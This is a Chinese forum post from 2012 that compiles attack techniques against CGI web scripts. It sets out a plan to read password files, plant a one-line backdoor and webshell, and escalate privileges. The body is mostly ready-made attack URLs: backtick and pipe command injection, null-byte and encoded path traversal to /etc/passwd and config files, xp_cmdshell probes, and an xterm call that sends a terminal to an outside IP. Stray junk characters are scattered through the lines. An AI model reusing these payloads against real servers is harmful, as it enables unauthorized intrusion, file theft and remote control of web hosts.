找回密码
 立即注册
查看: 3311|回复: 0
打印 上一主题 下一主题

CGI资料整理

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 16:56:16 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着  + r' L4 m7 N- Z  D  d1 i* a
cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权  
8 l) o# b3 t# L4 w( z# a感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们  * E4 {( F: s/ p1 a7 o# s( X
注“  5 E0 k6 K/ _- i1 G
perl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。  
9 [2 }  ]) A) h以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET  
+ w" Z* D. m  Z
2 N: c" `% P% Y- Whttp://target.com/cgi-bin/home/news/sub.pl?12 随意构造  . A2 E. t1 i& K
http://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢  ( a2 L9 Q4 v$ c
http://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号  
3 S7 d0 J7 K% Dhttp://target.com/cgi-bin/home/news/sub.pl?`id`  ) T' u8 w* ^. v2 ]% B, J0 n
http://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`  ! F; q. _9 n, n$ l9 w# j! O
http://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示  
4 F# T: H8 s$ H) H& O
& l9 X3 {9 |' rhttp://target.com/test.pl;ls|  
) c( Z4 f; u& j: dhttp://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|  - H' o, x% j  ?' P
http://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|  3 s+ U/ A. d) M8 s2 I
http://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造  ! w1 b7 h, S! Z" P  M8 n
比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。  
& [7 x' Z: r+ b( x) ^! ehttp://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection  
* q8 W7 s* x" o  h6 {& v8 p, ]2 M5 j5 E' R
http://target.com/test.pl?&........ /../../etc/passwd  
, d+ y$ b1 K, K) ]& A
- l: a8 O& V3 r/ J7 X. Rhttp://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./  3 z; {) x3 d' e; u: `9 [" ]7 w1 H& s
http://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了  
$ a3 L' o. G7 r& i5 Hhttp://www.target.org/cgi-bin/cl ... ../../etc/passwd%00  
% X8 L' V& B6 p/ a0 Y5 G9 G
& d  w) o9 g; ?: K, Khttp://www.target.org/show.php?f ... /include/config.php 查看php代码  7 o/ m( _* x4 U! ~: P
http://www.target.org/show.php?f ... ng/admin/global.php    n: p  {# `' N. n
7 X, k% ]& y! l! M( Q
emm和ps的一句话
% Y$ ~8 S! P4 s2 P( w$ C
7 T, J6 d% \) k) @' F/ m2 Ghttp://www.target.org/cgi-bin/cl ... /../../../bin/ls%20  
& |% i3 v, L0 N$ [; I; g+ S- M, L# y
>bbb%20|  " P) R1 }3 o" X
; [, a! E; q" }1 |% J5 I' r$ H
http://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串  
- y% L; @$ K9 a
% A/ }3 ]( L# q) O( ~http://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征  
7 u* J& z; i$ d  Lhttp://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin  
) y% g3 }! s/ w$ \; t6 r6 M: ]; l$ h) A
相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法  " z; |1 N# u8 q. R' }0 s
http://target.com/index.html#cmd.exe  
5 F5 P' h0 |- j! m. P. f% {http://target.com/index.html?dummyparam=xp_cmdshell  
0 u* s! Q  \0 u$ G# N3 Y" I9 rlynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd  5 j! o/ f) L. {
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表